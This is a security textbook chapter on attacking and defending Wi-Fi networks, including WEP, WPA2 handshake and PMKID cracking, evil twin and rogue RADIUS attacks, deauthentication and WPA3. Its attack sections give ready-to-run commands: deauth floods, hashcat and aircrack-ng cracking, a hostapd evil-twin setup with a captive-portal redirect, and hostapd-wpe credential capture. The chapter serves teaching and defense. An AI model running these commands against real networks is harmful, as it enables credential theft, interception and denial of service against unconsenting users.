Chapter 8: Wireless Network Exploitation

The KRACK Attack

In October 2017, security researcher Mathy Vanhoef of KU Leuven (Belgium) published research that shook the wireless security world: KRACK (Key Reinstallation Attacks). This vulnerability affected virtually every WiFi device on the planet.

KRACK exploited a flaw in the WPA2 four-way handshake. By manipulating cryptographic handshake messages, an attacker could trick devices into reinstalling an already-in-use encryption key, resetting associated nonce values. This broke the mathematical assumptions underlying WPA2’s security, allowing attackers to decrypt packets and potentially inject malicious data.

The vulnerability was particularly severe on Linux and Android devices, where the key could be reset to all zeros—effectively disabling encryption entirely. For months, billions of devices were vulnerable while vendors scrambled to release patches.

KRACK demonstrated that even well-designed security protocols can harbor implementation vulnerabilities. This chapter explores wireless network exploitation—from classic WEP attacks to modern WPA3 considerations—and the techniques both attackers and defenders use.

---

Wireless Attack Surface

Wireless networks broadcast through physical space, making them inherently more accessible to attackers than wired networks.

Wireless Attack Surface

Wireless Attack Surface:
═══════════════════════════════════════════════════════════════════

PHYSICAL LAYER ATTACKS:
┌─────────────────────────────────────────────────────────────────┐
│ • RF Jamming/Interference    • Deauthentication floods          │
│ • Signal interception        • Beacon flooding                  │
└─────────────────────────────────────────────────────────────────┘

AUTHENTICATION ATTACKS:
┌─────────────────────────────────────────────────────────────────┐
│ • WEP cracking              • WPA/WPA2 dictionary attacks       │
│ • WPA handshake capture     • PMKID attacks                     │
│ • 802.1X bypass             • Evil twin attacks                 │
└─────────────────────────────────────────────────────────────────┘

POST-CONNECTION ATTACKS:
┌─────────────────────────────────────────────────────────────────┐
│ • ARP spoofing (same as wired)  • MITM attacks                  │
│ • Traffic interception          • Captive portal bypass         │
└─────────────────────────────────────────────────────────────────┘

MANAGEMENT FRAME ATTACKS:
┌─────────────────────────────────────────────────────────────────┐
│ • Deauthentication attacks  • Disassociation attacks            │
│ • Rogue AP detection evasion • Hidden SSID discovery            │
└─────────────────────────────────────────────────────────────────┘

MITRE ATT&CK Reference

Wireless attacks map to:

• T1557 - Adversary-in-the-Middle
• T1557.002 - ARP Cache Poisoning
• T1040 - Network Sniffing
• T1200 - Hardware Additions
• T1599 - Network Boundary Bridging

---

Wireless Reconnaissance

Passive Reconnaissance

Monitor wireless traffic without transmitting—completely undetectable.

# Enable monitor mode
sudo airmon-ng start wlan0

# Passive scanning with airodump-ng
sudo airodump-ng wlan0mon

# Output shows:
# BSSID             PWR  Beacons  #Data  CH  ENC  ESSID
# AA:BB:CC:DD:EE:FF  -45   100     500   6  WPA2  CorpNetwork
# 11:22:33:44:55:66  -70    50     100   1  WPA2  GuestNet

# Capture to file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Active Reconnaissance

Hidden SSID Discovery:

# Hidden networks show blank ESSID in airodump
# Wait for client probe request or force it

# Deauthenticate client to force reconnection
sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Client reconnects, reveals SSID in probe request
# Now visible in airodump-ng output

Wireless Survey Information

Discovery	Information Gained
BSSID	Access point MAC address
ESSID	Network name
Channel	Operating frequency
Encryption	WEP/WPA/WPA2/WPA3/Open
Cipher	TKIP/CCMP
Auth	PSK/Enterprise
Signal	Distance estimation
Clients	Connected devices
Vendor	AP manufacturer (from OUI)

---

WEP Attacks (Legacy)

WEP Vulnerability Overview

WEP (Wired Equivalent Privacy) has fundamental cryptographic flaws making it trivially breakable.

WEP Vulnerabilities

WEP Vulnerabilities:
═══════════════════════════════════════════════════════════════════

1. SHORT IV (24 bits):
   - Only 16 million possible IVs
   - High-traffic network reuses IVs within hours
   - Same IV = related keystream

2. WEAK IV PROBLEM:
   - Some IVs leak key information
   - With enough weak IVs, key is recoverable
   
3. NO REPLAY PROTECTION:
   - Can replay captured packets
   - Used to generate traffic for IV collection

4. CRC-32 INTEGRITY:
   - Not cryptographic
   - Can modify packets without detection

WEP Cracking (PTW Attack)

# Modern WEP cracking requires ~40,000 data packets
# Can be done in minutes on active network

# Step 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

# Step 2: Generate traffic (ARP replay attack)
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

# Step 3: Crack key (once enough IVs captured)
sudo aircrack-ng wep_capture-01.cap

# Output:
# KEY FOUND! [ 12:34:56:78:9A ]

** WEP Is Obsolete**

WEP should never be used. If you encounter WEP in a security assessment, immediate remediation should be recommended. Modern attacks can crack WEP keys in under 5 minutes.

---

WPA/WPA2 PSK Attacks

Four-Way Handshake Capture

WPA/WPA2-PSK security depends on a pre-shared key. The handshake can be captured and subjected to offline dictionary attacks.

WPA2 FourWay Handshake

WPA2 Four-Way Handshake:
═══════════════════════════════════════════════════════════════════

Client (STA)                                    Access Point (AP)
     │                                                │
     │◄──────────── Message 1: ANonce ────────────────│
     │                                                │
     │   Client derives PTK from:                     │
     │   - PSK (pre-shared key)                       │
     │   - ANonce (from AP)                           │
     │   - SNonce (generated)                         │
     │   - MAC addresses                              │
     │                                                │
     │─────────── Message 2: SNonce + MIC ───────────►│
     │                                                │
     │                     AP derives same PTK        │
     │                     Verifies MIC               │
     │                                                │
     │◄──────────── Message 3: GTK + MIC ─────────────│
     │                                                │
     │─────────────── Message 4: ACK ────────────────►│
     │                                                │
     │◄═══════════ ENCRYPTED COMMUNICATION ══════════►│

ATTACK: Capture handshake, try PSK guesses offline
If guess produces valid MIC, PSK is cracked

Capturing the Handshake

# Method 1: Wait for natural handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon

# Wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message

# Method 2: Force handshake with deauth
# Terminal 1: Continue capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon

# Terminal 2: Send deauth to force reconnection
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Client disconnects, reconnects, handshake captured!

Cracking the Handshake

Using aircrack-ng:

# Dictionary attack
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap

# If successful:
# KEY FOUND! [ SuperSecretPassword123 ]

Using hashcat (GPU acceleration):

# Convert to hashcat format
aircrack-ng -j wpa_hash wpa_capture-01.cap

# Or use hcxpcapngtool
hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap

# Run hashcat (WPA2 = mode 22000)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# GPU cracking is MUCH faster
# Modern GPU: millions of passwords/second

PMKID Attack (2018)

PMKID attack captures key material from a single packet—no client needed!

PMKID Attack

PMKID Attack:
═══════════════════════════════════════════════════════════════════

Traditional: Need handshake (requires client connection)
PMKID: Only need first frame from AP!

How it works:
AP includes optional PMKID in Message 1 (RSN IE)
PMKID = HMAC-SHA1(PMK, "PMK Name" || AP_MAC || STA_MAC)

Attack:
1. Send association request to AP
2. AP responds with Message 1 containing PMKID
3. Crack PMKID offline (same as handshake cracking)

Benefits:
- No client needed (can attack idle networks)
- Faster capture (single frame)
- Works against WPA2-PSK networks with roaming support

PMKID Capture:

# Using hcxdumptool
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3

# Or with targeted approach
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --filterlist_ap=targets.txt --filtermode=2

# Convert and crack
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 wordlist.txt

---

Evil Twin Attacks

Attack Overview

Create a fake access point impersonating a legitimate network to capture credentials or conduct MITM attacks.

Evil Twin Attack

Evil Twin Attack:
═══════════════════════════════════════════════════════════════════

SETUP:
                    Legitimate AP (AA:BB:CC:DD:EE:FF)
                    SSID: "CorpWiFi"
                    Channel 6
                            │
                            │
Victim ─────────────────────┤
Device                      │
                            │
                    Evil Twin AP (same SSID)
                    "CorpWiFi" (stronger signal)
                    Channel 1 (or same)
                    Under attacker control

ATTACK FLOW:
1. Create AP with same SSID
2. Optionally deauth clients from legitimate AP
3. Victims connect to stronger/closer evil twin
4. Attacker controls all traffic

CREDENTIAL CAPTURE:
- Captive portal requesting WPA password
- Fake corporate login page
- MITM on all traffic

Evil Twin with Captive Portal

# Using hostapd-wpe or eaphammer

# Create hostapd config
cat > evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
wmm_enabled=0
auth_algs=1
wpa=0
EOF

# Start AP
sudo hostapd evil_twin.conf

# Set up DHCP
sudo dnsmasq -i wlan0 --dhcp-range=192.168.1.2,192.168.1.254,255.255.255.0,12h

# Redirect to captive portal
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# Run credential capture web server
python captive_portal.py

Using Fluxion (Automated):

# Fluxion automates evil twin + captive portal attacks
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion
./fluxion.sh

# Interactive menu:
# 1. Select target network
# 2. Capture handshake
# 3. Create evil twin with captive portal
# 4. Deauth original clients
# 5. Capture entered passwords
# 6. Verify against handshake

---

WPA Enterprise Attacks

PEAP/EAP-TTLS Attack

Capture and crack enterprise credentials using rogue RADIUS server.

WPAEnterprise Attack

WPA-Enterprise Attack:
═══════════════════════════════════════════════════════════════════

LEGITIMATE FLOW:
Client ──► AP ──► RADIUS Server
               (validates certificate)
               (authenticates user)

ATTACK FLOW:
Client ──► Evil Twin AP ──► Rogue RADIUS
                           (self-signed cert)
                           (captures credentials)

If client doesn't validate certificate:
- Username captured
- Password/hash captured (MSCHAPv2)

Using hostapd-wpe:

# hostapd-wpe patches hostapd for credential capture

# Configure for enterprise attack
cat > eap_user << 'EOF'
* PEAP,TTLS
"t" MSCHAPV2 "t" [2]
EOF

# Run hostapd-wpe
sudo hostapd-wpe hostapd-wpe.conf

# Captured credentials appear in hostapd-wpe.log
# MSCHAPv2 hashes can be cracked with hashcat
hashcat -m 5500 captured_hash.txt wordlist.txt

Certificate Validation Bypass

Many enterprise clients don’t properly validate RADIUS certificates.

Certificate Issues

Certificate Issues:
═══════════════════════════════════════════════════════════════════

WEAK CONFIGURATIONS:
- "Don't validate certificate" checked
- Certificate pinning disabled
- Any certificate accepted

ATTACK:
Evil twin presents self-signed certificate
Victim accepts (no validation)
Credentials captured

DEFENSE:
- Enforce certificate validation
- Pin specific CA
- Use device certificates (EAP-TLS)

---

Deauthentication Attacks

Overview

802.11 management frames are unauthenticated, allowing attackers to forge deauthentication frames.

Deauthentication Attack

Deauthentication Attack:
═══════════════════════════════════════════════════════════════════

Attacker sends spoofed deauth frame:
┌───────────────────────────────────────────────────────────────┐
│ Frame Control: Deauthentication                               │
│ Destination: Client MAC (or broadcast)                        │
│ Source: AP MAC (SPOOFED)                                      │
│ BSSID: AP MAC                                                 │
│ Reason: "Inactivity" or similar                               │
└───────────────────────────────────────────────────────────────┘

Client receives, thinks AP sent it
Client disconnects immediately

Uses:
- Force handshake capture
- DoS against wireless network
- Drive clients to evil twin

Deauth Flood

# Deauth single client
sudo aireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon
# -0 = deauth attack
# 10 = number of deauths

# Deauth all clients (broadcast)
sudo aireplay-ng -0 0 -a AP_MAC wlan0mon
# 0 = continuous

# Using mdk4 for more sophisticated attacks
sudo mdk4 wlan0mon d -c 6  # Deauth on channel 6

Protected Management Frames (802.11w)

802.11w (PMF) cryptographically protects management frames, preventing spoofed deauth.

802.11w Protection

802.11w Protection:
═══════════════════════════════════════════════════════════════════

WITHOUT 802.11w:
Deauth frames: Unauthenticated, easily spoofed

WITH 802.11w:
Deauth frames: Signed with session key
Attacker can't forge valid management frames

Adoption:
- Required for WPA3
- Optional for WPA2
- Must be enabled on both AP and client

---

WPA3 Security Improvements

WPA3 Features

WPA3 Security Enhancements

WPA3 Security Enhancements:
═══════════════════════════════════════════════════════════════════

1. SAE (Simultaneous Authentication of Equals):
   - Replaces PSK handshake
   - Resistant to offline dictionary attacks
   - Forward secrecy (past traffic safe if key compromised later)

2. PROTECTED MANAGEMENT FRAMES (Required):
   - Mandatory 802.11w
   - Prevents deauth attacks

3. 192-BIT SECURITY MODE (WPA3-Enterprise):
   - Stronger cryptographic algorithms
   - Meets CNS/NSA requirements

4. EASY CONNECT (DPP):
   - QR code based provisioning
   - Replaces WPS

Dragonblood Vulnerabilities (April 2019)

In April 2019, security researchers Mathy Vanhoef (KRACK discoverer) and Eyal Ronen published “Dragonblood,” revealing that WPA3’s SAE (Dragonfly) handshake had implementation vulnerabilities:

Dragonblood Attacks

Dragonblood Attacks:
═══════════════════════════════════════════════════════════════════

SIDE-CHANNEL ATTACKS:
- Timing leaks during SAE handshake
- Cache-based attacks
- Allowed password partitioning attacks

DOWNGRADE ATTACKS:
- Force WPA3 client to use WPA2 mode
- Then attack with traditional methods

STATUS:
- Vulnerabilities patched in implementations
- WPA3 still more secure than WPA2
- Ensure devices have latest updates

Researchers: Mathy Vanhoef (New York University Abu Dhabi) and 
            Eyal Ronen (Tel Aviv University & KU Leuven)

---

Wireless Defense Strategies

Access Point Hardening

AP Security Checklist

AP Security Checklist:
═══════════════════════════════════════════════════════════════════

ENCRYPTION:
□ Use WPA3 (or WPA2 minimum)
□ Use AES-CCMP (not TKIP)
□ Strong PSK (15+ characters, random)
□ Enable PMF (802.11w)

AUTHENTICATION:
□ WPA-Enterprise for corporate networks
□ Proper certificate configuration
□ Certificate validation enforced on clients
□ EAP-TLS where possible

ACCESS CONTROL:
□ MAC filtering (supplement, not primary)
□ Client isolation enabled
□ Separate guest network
□ VLAN segmentation

MONITORING:
□ Rogue AP detection enabled
□ Wireless IDS/IPS
□ Log authentication events
□ Monitor for deauth floods

Client Security

# Remove saved networks for untrusted locations
# Disable auto-connect
# Validate certificates for enterprise WiFi

# Windows - Forget network
netsh wlan delete profile name="NetworkName"

# Linux - Remove saved connection
nmcli connection delete "NetworkName"

# macOS - Remove from keychain
# System Preferences → Network → WiFi → Advanced → Remove

Wireless IDS/IPS

Tool	Description
Kismet	Wireless network detector, sniffer, IDS
Waidps	Wireless intrusion detection
OpenWIPS-ng	Open source wireless IPS
Cisco WLC	Enterprise WIPS (commercial)
Aruba/HPE	Enterprise wireless security

# Kismet setup for detection
kismet -c wlan0mon

# Detects:
# - Rogue APs
# - Deauth floods
# - Evil twins
# - MAC spoofing

---

Lab Exercise: Wireless Attack Analysis

Objective

Understand wireless attacks in a controlled lab environment.

Environment

Lab Setup

Lab Setup:
├── Attacker: Kali Linux with compatible wireless adapter
├── Access Point: Your test AP (NOT production networks!)
├── Client: Test device (laptop, phone)
└── IMPORTANT: Isolated lab network only!

Exercise 1: Reconnaissance

# Enable monitor mode
sudo airmon-ng start wlan0

# Scan for networks
sudo airodump-ng wlan0mon

# Identify:
# - Network names
# - Encryption types
# - Channels
# - Connected clients

# Stop when done
sudo airmon-ng stop wlan0mon

Exercise 2: Handshake Capture (Your Own Network)

# On YOUR test network only
sudo airodump-ng -c YOUR_CHANNEL --bssid YOUR_AP_MAC -w test wlan0mon

# Disconnect your test client
# Watch for handshake capture

# Verify capture
aircrack-ng test-01.cap
# Should show "1 handshake"

Exercise 3: Understanding Deauthentication

# Capture management frames
sudo tcpdump -i wlan0mon -w deauth.pcap 'subtype deauth'

# Analyze in Wireshark
# Observe:
# - Frame structure
# - Reason codes
# - Source/destination

---

Key Takeaways

1. WEP is broken—never use it, recommend immediate remediation

2. WPA2-PSK can be cracked if password is weak—use 15+ character random passwords

3. PMKID attack doesn’t require client—capture from single AP frame

4. Evil twin attacks impersonate legitimate networks—verify certificate on enterprise networks

5. 802.11w (PMF) prevents deauth attacks—enable on all devices supporting it

6. WPA3 provides significant security improvements—deploy when available

---

Self-Assessment

1. Comprehension: Why does the PMKID attack not require a connected client?

2. Application: A client is reporting their password was stolen even though they use WPA2-Enterprise. How might this have happened?

3. What if: You’re asked to assess a WiFi network using WPA2-PSK with a 20-character password. What’s your attack strategy?

---

Review Questions

1. Why is WEP fundamentally broken and unrepairable?
2. Explain the four-way handshake and where the vulnerability lies.
3. How does the PMKID attack differ from traditional handshake capture?
4. What is an evil twin attack, and how does it capture credentials?
5. How does 802.11w protect against deauthentication attacks?
6. What security improvements does WPA3 provide over WPA2?

---

MITRE ATT&CK Mapping

Attack	Technique ID	Tactic
WPA Cracking	T1040	Credential Access
Evil Twin	T1557	Credential Access
Deauthentication	T1499.002	Impact
Rogue AP	T1200	Initial Access
Credential Capture	T1110	Credential Access

---